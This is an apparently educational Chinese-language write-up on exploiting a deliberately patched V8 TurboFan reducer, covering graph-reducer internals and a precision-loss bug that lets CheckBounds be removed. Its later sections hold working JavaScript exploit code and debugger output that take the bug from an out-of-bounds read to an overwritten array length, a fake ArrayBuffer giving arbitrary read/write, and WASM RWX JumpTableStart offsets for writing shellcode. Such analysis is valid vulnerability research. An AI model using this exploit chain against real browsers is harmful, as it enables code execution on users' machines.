10 if (!stack_.empty()) {
11 // Process the node on the top of the stack, potentially pushing more or
12 // popping the node off the stack.
13 /* ReduceTop中,通过对stack_栈顶的node的inputs成员进行深度优先搜索,将遍历到的node都push到
14 * stack_
15 */
16 ReduceTop();
17 } else if (!revisit_.empty()) {
18 // If the stack becomes empty, revisit any nodes in the revisit queue.
19 Node* const node = revisit_.front();
20 revisit_.pop();
21 if (state_.Get(node) == State::kRevisit) {
22 // state can change while in queue.
23 Push(node);
24 }
25 } else {
26 // Run all finalizers.
27 // stack_和revisit_全部结点处理完,进行清理工作
28 for (Reducer* const reducer : reducers_) reducer->Finalize();
29
30 // Check if we have new nodes to revisit.
31 if (revisit_.empty()) break;
32 }
33 }
34 DCHECK(revisit_.empty());
35 DCHECK(stack_.empty());
36}
继续跟入GraphReducer::ReduceTop()
(分析见注释),行37有个max_id
,可以在sea of nodes中搜索到node
1// src\compiler\graph-reducer.cc: 120
2void GraphReducer::ReduceTop() {
3 // 取stack_.top
4 NodeState& entry = stack_.top();
5 Node* node = entry.node;
6 DCHECK_EQ(State::kOnStack, state_.Get(node));
7
8 if (node->IsDead()) return Pop(); // Node was killed while on stack.
9
10 // 取node的inputs集合
11 Node::Inputs node_inputs = node->inputs();
12
13 // Recurse on an input if necessary.
14 // 因为是递归,这里的entry.input_index记录了每个当前node访问到的inputs集合的下标
15 int start = entry.input_index < node_inputs.count() ? entry.input_index : 0;
16 for (int i = start; i < node_inputs.count(); ++i) {
17 Node* input = node_inputs[i];
18 // Recurse(input)将input push 到 stack_
19 if (input != node && Recurse(input)) {
20 // 当前的node的input_index + 1
21 entry.input_index = i + 1;
22 // 返回,继续遍历stack_.top
23 return;
24 }
25 }
26
27 // 重新检测一遍是否有未访问的结点
28 for (int i = 0; i < start; ++i) {
29 Node* input = node_inputs[i];
30 if (input != node && Recurse(input)) {
31 entry.input_index = i + 1;
32 return;
33 }
34 }
35
36 // Remember the max node id before reduction.
37 NodeId const max_id = static_cast<NodeId>(graph()->NodeCount() - 1);
38
39 // All inputs should be visited or on stack. Apply reductions to node.
40 // 所有的node都将被遍历或在栈上。
41 // Reduce(node),循环使用Phase入口处Add的所有reducer对当前node处理
42 Reduction reduction = Reduce(node);
43
44 // If there was no reduction, pop {node} and continue.
45 if (!reduction.Changed()) return Pop();
46
47 // Check if the reduction is an in-place update of the {node}.
48 Node* const replacement = reduction.replacement();
49 if (replacement == node) {
50 // In-place update of {node}, may need to recurse on an input.
51 Node::Inputs node_inputs = node->inputs();
52 for (int i = 0; i < node_inputs.count(); ++i) {
53 Node* input = node_inputs[i];
54 if (input != node && Recurse(input)) {
55 entry.input_index = i + 1;
56 return;
57 }
58 }
59 }
60
61 // After reducing the node, pop it off the stack.
62 // 处理完的node需要pop出去
63 Pop();
64
65 // Check if we have a new replacement.
66 if (replacement != node) {
67 Replace(node, replacement, max_id);
68 } else {
69 // Revisit all uses of the node.
70 for (Node* const user : node->uses()) {
71 // Don't revisit this node if it refers to itself.
72 if (user != node) Revisit(user);
73 }
74 }
75}
跟入GraphReducer::Reduce(Node* const node)
,在这个函数中,我们可以尝试定位题目添加的DuplicateAdditionReducer -> Reduce()
处理我们的y = y + 1 +1
结点,这是个思路,说不定这个相关结点被之前的phase处理的面目全非了
1// src\compiler\graph-reducer.cc: 81
2Reduction GraphReducer::Reduce(Node* const node) {
3 auto skip = reducers_.end();
4 // reducers_保存phase入口add的全部reducer
5 for (auto i = reducers_.begin(); i != reducers_.end();) {
6 if (i != skip) {
7 // 调用每一个reducer->Reduce()处理node
8 Reduction reduction = (*i)->Reduce(node);
9 if (!reduction.Changed()) {
10 // No change from this reducer.
11 } else if (reduction.replacement() == node) {
12 // {replacement} == {node} represents an in-place reduction. Rerun
13 // all the other reducers for this node, as now there may be more
14 // opportunities for reduction.
15 if (FLAG_trace_turbo_reduction) {
16 StdoutStream{} << "- In-place update of " << *node << " by reducer "
17 << (*i)->reducer_name() << std::endl;
18 }
19 skip = i;
20 i = reducers_.begin();
21 continue;
22 } else {
23 // {node} was replaced by another node.
24 if (FLAG_trace_turbo_reduction) {
25 StdoutStream{} << "- Replacement of " << *node << " with "
26 << *(reduction.replacement()) << " by reducer "
27 << (*i)->reducer_name() << std::endl;
28 }
29 return reduction;
30 }
31 }
32 ++i;
33 }
34 if (skip == reducers_.end()) {
35 // No change from any reducer.
36 return Reducer::NoChange();
37 }
38 // At least one reducer did some in-place reduction.
39 return Reducer::Changed(node);
40}
ok,重新理一下思路,回看我们失败的poc(下面的代码),我们最初的想法是当x==0
时,y=9007199254740991
,走到行4时,y=9007199254740991+1+1 => y=9007199254740992 => y = y-9007199254740991 => 1
;当x==1
时,因为题目补丁的存在(补丁对x==0
时y
的值无影响)y=9007199254740992+1+1 => y=9007199254740992+2 => y=9007199254740994 => y = 9007199254740994 - 9007199254740991 => 3
如上算式,最后y==3
,而arr是长度为2的数组,最后return arr[y]时导致越界。这是我们最初构造poc时的想法,看似没有问题的。但poc最后print(res)
结果为1.2,说明事实上并没有越界
1let opt_me = (x) => {
2 let arr = new Array(1.1,1.2);
3 let y = ( x==1 ) ? 9007199254740992 : 9007199254740991;
4 y = y + 1 + 1;
5 y = y - 9007199254740991; // max=1, actual max=2
6 return arr[y];
7}
8
9opt_me(0);
10%OptimizeFunctionOnNextCall(opt_me);
11let res = opt_me(1);
12print(res);
按照我们之前走读的代码,我们继续深入调试一下失败的poc。如下图,首次调用到DuplicateAdditionReducer -> Reduce()
时,当前处理的node的opcode为NumberConstant
那么根据我们前文对代码的分析,我们可以从sea of nodes中定位到如下#45
结点,因为这是从End
结点进行深度优先搜索的第一个无inputs的结点,是符合我们上面断点调试的信息
事实上从上图,我们看到#40
和#41
两个add的node如下图,并不是题目补丁中switch的opcodekNumberAdd
,这难道是poc不成功的原因?
答案是否定的,在调试的过程中,当DuplicateAdditionReducer -> Reduce()
处理到#40
结点时确实因为不匹配opcode没能进入后续处理的代码,但是后续其他的reduce在处理这个node时将SpeculativeNumberAdd
优化为kNumberAdd
,对#41
也同样如此。
如下图,断在#40
node,单步跟入DuplicateAdditionReducer -> ReduceAddition(Node *node)
如下图查看此时参数node的信息,三个DCHECK_EQ
是没有问题的ControlInputCount => control_in_==0``EffectInputCount => effect_in_==0``ValueInputCount => value_in_==2
,opcode也是kNumberAdd
根据补丁代码,继续查看当前node
的left_node
的opcode
,如下图left->op_
为Phi
,显然是不等于node的NumberAdd的,所以没能走入补丁的核心逻辑
从sea of nodes也能看得出来left的opcode
ok,我们本来的意图也是在下面这个NumberAdd结点进入补丁核心逻辑,从而合并右侧两个常量。
断点断下,变量信息如下图
从图中可以看到left的opcode为NumberConstant
?不应该是上面的kNumberAdd
结点吗?难道右侧结点是kNumberAdd
左侧结点是常量?ok,我们在调试器的监视中看下右侧结点的opcode
node->inputs_.inline_[0]->op_->mnemonic_
和node->inputs_.inline_[1]->op_->mnemonic_
分别为node结点的左右父节点的opcode的字符串表示,如上图所示,两个都是常量?我们从sea of nodes中看到的不应该是左add右常量吗?我们看下左结点的sea of nodes信息,如下图
ok,到这我们大概就清楚了,左结点#40
的type为range(9007199254740992, 9007199254740992 )
,被优化为NumberConstant
了,所以调试信息左右结点全显示为NumberConstant
。
那么问题又来了,我在构造poc时已经下意识防止出现这样的优化情况,所以使用了(x==1)? :
这样的表达式,为的就是产生Phi
结点,防止优化成NumberConstant
。原来是因为,Phi
的range(9007199254740991, 9007199254740992)
,因为IEEE-754
精度丢失的问题,导致其中每一个元素和+1+1
运算的结果均为9007199254740992
,所以导致#40
在优化过程中还是被优化为了NumberConstant
。最终还是没能走到补丁的核心代码,至此,poc为啥失败的原因就分析清楚了。
阅读这个phase主要是和优化CheckBounds
结点相关。不像之前分析的Phase,调用位置在PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl()
-->bool PipelineImpl::CreateGraph()
函数中,SimplifiedLowering Phase
的调用位置在PipelineCompilationJob::Status PipelineCompilationJob::ExecuteJobImpl()
-->bool PipelineImpl::OptimizeGraph(Linkage* linkage)
中,也有很多的phase运行在这个阶段。
跟踪SimplifiedLowering Phase
的调用流:SimplifiedLoweringPhase::Run()
-->SimplifiedLowering::LowerAllNodes()
-->RepresentationSelector::Run()
-->RepresentationSelector::VisitNode()
中使用switch opcode处理各个结点,处理CheckBounds
代码如下
1 // src\compiler\simplified-lowering.cc: 2401
2 case IrOpcode::kCheckBounds: {
3 const CheckParameters& p = CheckParametersOf(node->op());
4 // 左结点是index,获取其type
5 Type index_type = TypeOf(node->InputAt(0));
6
7 // 右结点时Length,获取其type
8 Type length_type = TypeOf(node->InputAt(1));
9 if (index_type.Is(Type::Integral32OrMinusZero())) {
10 // Map -0 to 0, and the values in the [-2^31,-1] range to the
11 // [2^31,2^32-1] range, which will be considered out-of-bounds
12 // as well, because the {length_type} is limited to Unsigned31.
13 VisitBinop(node, UseInfo::TruncatingWord32(),
14 MachineRepresentation::kWord32);
15 if (lower() && lowering->poisoning_level_ ==
16 PoisoningMitigationLevel::kDontPoison) {
17
18 // IsNone()的判断不太理解。
19 // 后续,判断index的max < length的min,且index的min >= 0.0
20 // 则直接使用左结点替换本checkbounds
21 if (index_type.IsNone() || length_type.IsNone() ||
22 (index_type.Min() >= 0.0 &&
23 index_type.Max() < length_type.Min())) {
24 // The bounds check is redundant if we already know that
25 // the index is within the bounds of [0.0, length[.
26 DeferReplacement(node, node->InputAt(0));
27 }
28 }
29 } else {
30 VisitBinop(
31 node,
32 UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
33 UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
34 }
35 return;
36 }
CheckBounds
的index
范围来自NumberSub
结点的range
,而在补丁代码中合并两个常量结点后,并没有去更新相关结点的range
(更新range的相关函数UpdateRange
)
1// -----------------------------------------------------------------------------
2// Union and intersection
3
4Type Type::Intersect(Type type1, Type type2, Zone* zone) {
导致了CheckBounds
的错误消除。我们可以看TypedLowering Phase
后的sea of nodes
1let opt_me = (x) => {
2 let arr = new Array(1.1,1.2,1.3,1.4);
3 let y = ( x==1 ) ? 9007199254740992 : 9007199254740989;
4 y = y + 1 + 1;
5 y = y - 9007199254740989; // max=3, actual max=5
6 return arr[y];
7}
8
9
10opt_me(0);
11%OptimizeFunctionOnNextCall(opt_me);
12let res = opt_me(1);
13print(res);
上述poc运行结果如下,越界读取了arr的值
分别看下SimplifiedLowering
运行前后,CheckBounds
结点优化的情况,优化前LoadElement
前,CheckBounds
结点存在;从下图的After Typerphase
得知CheckBounds Range(2,3)
,其就是x分别等于9007199254740992
及9007199254740989
计算得到,其范围恒小于数组的长度。在SimplifiedLowering
后,CheckBounds
被优化掉,从而导致最终的越界成功
这一节部分linux的调试信息是翻译introduction to turbofan的内容,win下的代码和linux的思路基本是一致的。文章最后贴出在win下调试的exp。
扩大越界范围
1let ab = new ArrayBuffer(8);
2let fv = new Float64Array(ab);
3let dv = new BigUint64Array(ab);
4
5let f2i = (f) => {
6 fv[0] = f;
7 return dv[0];
8}
9
10let hexprintablei = (i) => {
11 return (i).toString(16).padStart(16,"0");
12}
13
14let debug = (x,z, leak) => {
15 print("oob index is " + z);
16 print("length is " + x.length);
17 print("leaked 0x" + hexprintablei(f2i(leak)));
18 //%DebugPrint(x);
19 %SystemBreak();
20 //%DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements
21};
22
23let opt_me = (x) => {
24 let arr = new Array(1.1,1.2,1.3,1.4);
25 let y = (( x==1 ) ? 9007199254740992 : 9007199254740989) + 1 + 1;
26 y = y - 9007199254740989; // max=3, actual max=5
27 let leak = arr[y];
28 %DebugPrint(arr);
29 if (x == 1)
30 debug(arr,y, leak);
31 return leak;
32}
33
34
35opt_me(0);
36%OptimizeFunctionOnNextCall(opt_me);
37let res = opt_me(1);
调试输出如下,行7是越界读取的数据
1oob index is 5
2length is 4
3---------------------------------------------------
4Begin compiling StoreFastElementStub using Turbofan
5---------------------------------------------------
6Finished compiling method StoreFastElementStub using Turbofan
7leaked 0x0000017411f82d29
8DebugPrint: 000000379AE0DF41: [JSArray]
9 - map: 0x018577982931 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
10 - prototype: 0x0091e3286469 <JSArray[0]>
11 - elements: 0x00379ae0df11 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
12 - length: 4
13 - properties: 0x017411f82d29 <FixedArray[0]> {
14 #length: 0x01cd60b1cd39 <AccessorInfo> (const accessor descriptor)
15 }
16 - elements: 0x00379ae0df11 <FixedDoubleArray[4]> {
17 0: 1.1
18 1: 1.2
19 2: 1.3
20 3: 1.4
21 }
220000018577982931: [Map]
23 - type: JS_ARRAY_TYPE
24 - instance size: 32
25 - inobject properties: 0
26 - elements kind: PACKED_DOUBLE_ELEMENTS
elements对应的内存如下,可以看到上面越界的数据位于0x00379ae0df48
上图的FixedDoubleArray
的elements里,第二个成员也是数组长度,但是这个长度仅仅是提供fixed array的内存申请的信息,最终判断数组长度的还是JSArray
的length
。如下的情况,JSArray
的length
为1,而FixedArray
的length
为17
1d8> let a = new Array(0);
2undefined
3d8> a.push(1);
41
5d8> %DebugPrint(a)
6DebugPrint: 0xd893a90aed1: [JSArray]
7- map: 0x18bbbe002ca1 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
8- prototype: 0x1cf26798fdb1 <JSArray[0]>
9- elements: 0x0d893a90d1c9 <FixedArray[17]> [HOLEY_SMI_ELEMENTS]
10- length: 1
11- properties: 0x367210500c19 <FixedArray[0]> {
12#length: 0x0091daa801a1 <AccessorInfo> (const accessor descriptor)
13}
14- elements: 0x0d893a90d1c9 <FixedArray[17]> {
150: 1
161-16: 0x3672105005a9 <the_hole>
17 }
通过修改poc,利用精度丢失越界读写JSArray
的length
。修改了arr1自身的JSArray
的length
1let AB_LENGTH = 0x233;
2let NEW_LENGTH64 = 0x0000006400000000;
3let ab = new ArrayBuffer(8);
4let fv = new Float64Array(ab);
5let dv = new BigUint64Array(ab);
6
7let f2i = (f) => {
8 fv[0] = f;
9 return dv[0];
10}
11
12let i2f = (i) => {
13 dv[0] = BigInt(i);
14 return fv[0];
15}
16
17let tagFloat = (f) => {
18 fv[0] = f;
19 dv[0] += 1n;
20 return fv[0];
21}
22
23let hexprintablei = (i) => {
24 return (i).toString(16).padStart(16,"0");
25}
26
27let debug = (x,z, leak) => {
28 print("oob index is " + z);
29 print("length is " + x.length);
30 print("leaked 0x" + hexprintablei(f2i(leak)));
31 //%DebugPrint(x);
32 %SystemBreak();
33 //%DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements
34};
35
36let opt_me = (x) => {
37 let arr = new Array(1.1,1.2,1.3,1.4,1.5,1.6,1.7);
38 let y = (( x==1 ) ? 9007199254740992 : 9007199254740989) + 1 + 1;
39 y = y - 9007199254740989; // max=2, actual max=5
40 y = y * 2; // max=4, actual max=10
41 arr[y] = 2.121995790965e-312; // corrupt arr.length => i2f(NEW_LENGTH64)
42
43 let leak = arr[y];
44 let arr2 = Array.of(1.2);
45 let evil_ab = new ArrayBuffer(AB_LENGTH);
46
47 if (x == 1){
48 %DebugPrint(arr);
49 debug(arr,y, leak);
50 print("array's length: "+ arr.length + " + " + i2f(NEW_LENGTH64));
51 print("oob read: " + arr[20]);
52 }
53 return leak;
54}
55opt_me(0);
56%OptimizeFunctionOnNextCall(opt_me);
57let res = opt_me(1);
输出如下,行5看到arr对象的length修改为0x64
1DebugPrint: 000003517A90E181: [JSArray]
2 - map: 0x032b3e982931 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
3 - prototype: 0x00a00e086469 <JSArray[0]>
4 - elements: 0x03517a90e139 <FixedDoubleArray[7]> [PACKED_DOUBLE_ELEMENTS]
5 - length: 100
6 - properties: 0x009779682d29 <FixedArray[0]> {
7 #length: 0x02b5c4e1cd39 <AccessorInfo> (const accessor descriptor)
8 }
9 - elements: 0x03517a90e139 <FixedDoubleArray[7]> {
10 0: 1.1
11 1: 1.2
12 2: 1.3
13 3: 1.4
14 4: 1.5
15 5: 1.6
16 6: 1.7
17 }
180000032B3E982931: [Map]
19 - type: JS_ARRAY_TYPE
20 - instance size: 32
21 - inobject properties: 0
22 - elements kind: PACKED_DOUBLE_ELEMENTS
23 - unused property fields: 0
24 - enum length: invalid
25 - back pointer: 0x032b3e9828e1 <Map(HOLEY_SMI_ELEMENTS)>
26 - prototype_validity cell: 0x02b5c4e02201 <Cell value= 1>
27 - instance descriptors #1: 0x00a00e0866c9 <DescriptorArray[5]>
28 - layout descriptor: 0000000000000000
29 - transitions #1: 0x00a00e086639 <TransitionArray[4]>Transition array #1:
30 0x0097796c5511 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x032b3e982981 <Map(HOLEY_DOUBLE_ELEMENTS)>
31
32 - prototype: 0x00a00e086469 <JSArray[0]>
33 - constructor: 0x00a00e086229 <JSFunction Array (sfi = 000002B5C4E13111)>
34 - dependent code: 0x009779682391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
35 - construction counter: 0
36
37oob index is 10
38length is 100
39leaked 0x0000006400000000
40array's length: 100 + 2.121995790965e-312
41
42
43#
44# Fatal error in ../../..\src/objects/fixed-array-inl.h, line 181
45# Debug check failed: index >= 0 && index < this->length().
46#
47#
48#
49#FailureMessage Object: 00000023D3FFD5F8
50==== C stack trace ===============================
51
52 v8::base::debug::StackTrace::StackTrace [0x00007FFBEEEB2C7C+44] (F:\Research\chrome2\v8\v8\src\base\debug\stack_trace_win.cc:168)
53 v8::platform::`anonymous namespace'::PrintStackTrace [0x00007FFBE61AF7E4+36] (F:\Research\chrome2\v8\v8\src\libplatform\default-platform.cc:27)
54 ......
同样我们在内存中也可以看到JSArray
的length
修改为0x64
上面测试代码最后crash了,调用栈如下
调用栈的第5层,调试信息如下,this
指向FixedArray
,index
是测试代码里越界的下标
DCHECK
为debug
编译时的宏代码如下,release
时则不存在
1// src\base\logging.h: 55
2#ifdef DEBUG
3
4#define DCHECK_WITH_MSG(condition, message) \
5 do { \
6 if (V8_UNLIKELY(!(condition))) { \
7 V8_Dcheck(__FILE__, __LINE__, message); \
8 } \
9 } while (0)
10#define DCHECK(condition) DCHECK_WITH_MSG(condition, #condition)
为后续调试方便我这里直接在源码中修改后重新编译。
后续调试,Array
的indexOf
搜索下标,但是debug
版本在CSA
会检测indexOf
的index,同样程序会crash,也是DEBUG模式的断言,这里也注释掉CSA_ASSERT
1// src\code-stub-assembler.cc: 2384
2TNode<Float64T> CodeStubAssembler::LoadFixedDoubleArrayElement(
3 SloppyTNode<FixedDoubleArray> object, Node* index_node,
4 MachineType machine_type, int additional_offset,
5 ParameterMode parameter_mode, Label* if_hole) {
6 CSA_ASSERT(this, IsFixedDoubleArray(object));
7 DCHECK_EQ(additional_offset % kPointerSize, 0);
8 CSA_SLOW_ASSERT(this, MatchesParameterMode(index_node, parameter_mode));
9 int32_t header_size =
10 FixedDoubleArray::kHeaderSize + additional_offset - kHeapObjectTag;
11 TNode<IntPtrT> offset = ElementOffsetFromIndex(
12 index_node, HOLEY_DOUBLE_ELEMENTS, parameter_mode, header_size);
13 /*CSA_ASSERT(this, IsOffsetInBounds(
14 offset, LoadAndUntagFixedArrayBaseLength(object),
15 FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));*/
16 return LoadDoubleWithHoleCheck(object, offset, if_hole, machine_type);
17}
PACKED_ELEMENTS
类型的数组能存储指向JS OBJ的tagged pointer
(+1),V8的elements kind
提供了当前JsArray存储元素的类型信息。例:
1d8> var objects = new Array(new Object())
2d8> %DebugPrint(objects)
3DebugPrint: 0xd79e750aee9: [JSArray]
4- elements: 0x0d79e750af19 <FixedArray[1]> {
50: 0x0d79e750aeb1 <Object map = 0x19c550d80451>
6}
70x19c550d82d91: [Map]
8 - elements kind: PACKED_ELEMENTS
如果可以破坏PACKED_ELEMENTS
的数组元素,那么就可以存入一个指向精心构造的对象的指针。所以,我们现在基本的思路就是在这样的数组中存入一个backing_store + 1
(tagged)的地址。
进行一个简单的测试,测试一下存入0x41414141
。
任何object的第一个成员都是一个指向map
的指针(map
描述对象的类型信息),在其他的引擎中成为Shape
或者Structure
。
所以,当v8将0x41414141
解析为obj时,我们希望能得到该地址的解引用crash。
1// evil_ab是ArrayBuffer对象,另声明packed_elements_array数组
2evil_ab = new ArrayBuffer(AB_LENGTH);
3packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI);
4
5let view = new BigUint64Array(evil_ab);
6// fakeobj -> fakemap
7view[0] = 0x414141414141n; // initialize the fake object with this value as a map pointer
8
9// 利用arr2的越界修改packed_elements_array的Math对象指针,为evil_ab fakeobj
10arr2[index_to_object_pointer] = tagFloat(evil_ab_backingstore_ptr);
11packed_elements_array[1].x; // crash on 0x414141414141 because it is used as a map pointer
思路是伪造一个backing_store
可控的ArrayBuffer
。如下demo,任意写的基本实现
1let view = new BigUint64Array(evil_ab);
2for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {
3 // 通过arr2的越界读写复制evil_ab的object信息到view对象的ArrayBuffer中,即fakeobj
4 view[i] = f2i(arr2[ab_len_idx-3+i]);
5
6 // 非length字段 且 非tagged obj ptr
7 if (view[i] > 0x10000 && !(view[i] & 1n))
8 // 即伪造backing_store指针,也是obj的第五个成员
9 view[i] = 0x42424242n; // backing_store
10}
11// [...]
12// 修改packed_elements_array的Math对象指针指向fakeobj
13arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // object pointer
14// [...]
15// 利用rw_view实现任意写
16let rw_view = new Uint32Array(packed_elements_array[1]);
17rw_view[0] = 0x1337; // *0x42424242 = 0x1337
输出如下
1$ d8 rw.js
2[+] corrupted JSArray's length
3[+] Found backingstore pointer : 0000555c593d9890
4Received signal 11 SEGV_MAPERR 000042424242
5==== C stack trace ===============================
6 [0x555c577b81a4]
7 [0x7ffa0331a390]
8 [0x555c5711b4ae]
9 [0x555c5728c967]
10 [0x555c572dc50f]
11 [0x555c572dbea5]
12 [0x555c572dbc55]
13 [0x555c57431254]
14 [0x555c572102fc]
15 [0x555c57215f66]
16 [0x555c576fadeb]
17[end of stack trace]
如上思路实现任意读写,或者可以伪造float类型obj,通过elements指针实现任意读写,但是写数据过程中会存在数据的破坏,ArrayBuffer不会。
至此,我们拥有了AAR/W能力,完成利用的最后一块拼图最简单的思路,找一块RWX的内存,写入shellcode并执行,这比ROP
或者JIT CODE REUSE
方便多了。
V8以前将JITed code
ofJSFunction
放在RWX
的内存中,但是后来修改了:
1/*
2https://source.chromium.org/chromium/v8/v8.git/+/dde25872f58951bb0148cf43d6a504ab2f280485:src/flag-definitions.h;l=717
3*/
4DEFINE_BOOL(write_protect_code_memory, V8_WRITE_PROTECT_CODE_MEMORY_BOOL,
5 "write protect code memory")
但是,Andrea Biondo发现,WASM is still using RWX memory。
所以,我们可以找到一个WASM实例,定位到其JumpTableStart
,即指向RWX
的指针。步骤如下:
获取JSFunction的shared function info;
从shared function info中获取WASM的exported function信息;
从exported function中获取WASM实例;
从WASM实例获取JumpTableStart域;
通过Jeremy_x86开发的gdb插件可以比较轻松的识别到JumpTableStart(v8_doare_helpers),通过命令%DumpObjects
识别如下
1----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] -----
2[...]
30x00002fac7911ec20 0x0000087e7c50a000 JumpTableStart [RWX]
测试手动定位一下,测试代码sample_wasm.js
1d8> load("sample_wasm.js")
2d8> %DumpObjects(global_test,10)
3----- [ JS_FUNCTION_TYPE : 0x38 ] -----
40x00002fac7911ed10 0x00001024ebc84191 MAP_TYPE
50x00002fac7911ed18 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
60x00002fac7911ed20 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
70x00002fac7911ed28 0x00002fac7911ecd9 SHARED_FUNCTION_INFO_TYPE <=================
80x00002fac7911ed30 0x00002fac79101741 NATIVE_CONTEXT_TYPE
90x00002fac7911ed38 0x00000d1caca00691 FEEDBACK_CELL_TYPE
100x00002fac7911ed40 0x00002dc28a002001 CODE_TYPE
11----- [ TRANSITION_ARRAY_TYPE : 0x30 ] -----
120x00002fac7911ed48 0x00000cdfc0080b69 MAP_TYPE
130x00002fac7911ed50 0x0000000400000000
140x00002fac7911ed58 0x0000000000000000
15function 1() { [native code] }
16
17
18
19d8> %DumpObjects(0x00002fac7911ecd9,11)
20----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] -----
210x00002fac7911ecd8 0x00000cdfc0080989 MAP_TYPE
220x00002fac7911ece0 0x00002fac7911ecb1 WASM_EXPORTED_FUNCTION_DATA_TYPE <===========
230x00002fac7911ece8 0x00000cdfc00842c1 ONE_BYTE_INTERNALIZED_STRING_TYPE
240x00002fac7911ecf0 0x00000cdfc0082ad1 FEEDBACK_METADATA_TYPE
250x00002fac7911ecf8 0x00000cdfc00804c9 ODDBALL_TYPE
260x00002fac7911ed00 0x000000000000004f
270x00002fac7911ed08 0x000000000000ff00
28----- [ JS_FUNCTION_TYPE : 0x38 ] -----
290x00002fac7911ed10 0x00001024ebc84191 MAP_TYPE
300x00002fac7911ed18 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
310x00002fac7911ed20 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
320x00002fac7911ed28 0x00002fac7911ecd9 SHARED_FUNCTION_INFO_TYPE
3352417812098265
34
35
36d8> %DumpObjects(0x00002fac7911ecb1,11)
37----- [ WASM_EXPORTED_FUNCTION_DATA_TYPE : 0x28 ] -----
380x00002fac7911ecb0 0x00000cdfc00857a9 MAP_TYPE
390x00002fac7911ecb8 0x00002dc28a002001 CODE_TYPE
400x00002fac7911ecc0 0x00002fac7911eb29 WASM_INSTANCE_TYPE <========================
410x00002fac7911ecc8 0x0000000000000000
420x00002fac7911ecd0 0x0000000100000000
43----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] -----
440x00002fac7911ecd8 0x00000cdfc0080989 MAP_TYPE
450x00002fac7911ece0 0x00002fac7911ecb1 WASM_EXPORTED_FUNCTION_DATA_TYPE
460x00002fac7911ece8 0x00000cdfc00842c1 ONE_BYTE_INTERNALIZED_STRING_TYPE
470x00002fac7911ecf0 0x00000cdfc0082ad1 FEEDBACK_METADATA_TYPE
480x00002fac7911ecf8 0x00000cdfc00804c9 ODDBALL_TYPE
490x00002fac7911ed00 0x000000000000004f
5052417812098225
51
52
53
54d8> %DumpObjects(0x00002fac7911eb29,41)
55----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] -----
560x00002fac7911eb28 0x00001024ebc89411 MAP_TYPE
570x00002fac7911eb30 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
580x00002fac7911eb38 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
590x00002fac7911eb40 0x00002073d820bac1 WASM_MODULE_TYPE
600x00002fac7911eb48 0x00002073d820bcf1 JS_OBJECT_TYPE
610x00002fac7911eb50 0x00002fac79101741 NATIVE_CONTEXT_TYPE
620x00002fac7911eb58 0x00002fac7911ec59 WASM_MEMORY_TYPE
630x00002fac7911eb60 0x00000cdfc00804c9 ODDBALL_TYPE
640x00002fac7911eb68 0x00000cdfc00804c9 ODDBALL_TYPE
650x00002fac7911eb70 0x00000cdfc00804c9 ODDBALL_TYPE
660x00002fac7911eb78 0x00000cdfc00804c9 ODDBALL_TYPE
670x00002fac7911eb80 0x00000cdfc00804c9 ODDBALL_TYPE
680x00002fac7911eb88 0x00002073d820bc79 FIXED_ARRAY_TYPE
690x00002fac7911eb90 0x00000cdfc00804c9 ODDBALL_TYPE
700x00002fac7911eb98 0x00002073d820bc69 FOREIGN_TYPE
710x00002fac7911eba0 0x00000cdfc00804c9 ODDBALL_TYPE
720x00002fac7911eba8 0x00000cdfc00804c9 ODDBALL_TYPE
730x00002fac7911ebb0 0x00000cdfc00801d1 ODDBALL_TYPE
740x00002fac7911ebb8 0x00002dc289f94d21 CODE_TYPE
750x00002fac7911ebc0 0x0000000000000000
760x00002fac7911ebc8 0x00007f9f9cf60000
770x00002fac7911ebd0 0x0000000000010000
780x00002fac7911ebd8 0x000000000000ffff
790x00002fac7911ebe0 0x0000556b3a3e0c00
800x00002fac7911ebe8 0x0000556b3a3ea630
810x00002fac7911ebf0 0x0000556b3a3ea620
820x00002fac7911ebf8 0x0000556b3a47c210
830x00002fac7911ec00 0x0000000000000000
840x00002fac7911ec08 0x0000556b3a47c230
850x00002fac7911ec10 0x0000000000000000
860x00002fac7911ec18 0x0000000000000000
870x00002fac7911ec20 0x0000087e7c50a000 JumpTableStart [RWX] <=======================
880x00002fac7911ec28 0x0000556b3a47c250
890x00002fac7911ec30 0x0000556b3a47afa0
900x00002fac7911ec38 0x0000556b3a47afc0
91----- [ TUPLE2_TYPE : 0x18 ] -----
920x00002fac7911ec40 0x00000cdfc00827c9 MAP_TYPE
930x00002fac7911ec48 0x00002fac7911eb29 WASM_INSTANCE_TYPE
940x00002fac7911ec50 0x00002073d820b849 JS_FUNCTION_TYPE
95----- [ WASM_MEMORY_TYPE : 0x30 ] -----
960x00002fac7911ec58 0x00001024ebc89e11 MAP_TYPE
970x00002fac7911ec60 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
980x00002fac7911ec68 0x00000cdfc0080c19 FIXED_ARRAY_TYPE
通过如下的调试,可以得到相关偏移的信息(不同的checkout版本,可能偏移有差异)
1let WasmOffsets = {
2 shared_function_info : 3,
3 wasm_exported_function_data : 1,
4 wasm_instance : 2,
5 jump_table_start : 31
6};
定位到JumpTableStart
后,最后将shellcode写入并执行。Of course,覆写shellcode前应当备份内存数据,执行shellcode后再修复修改的内存。
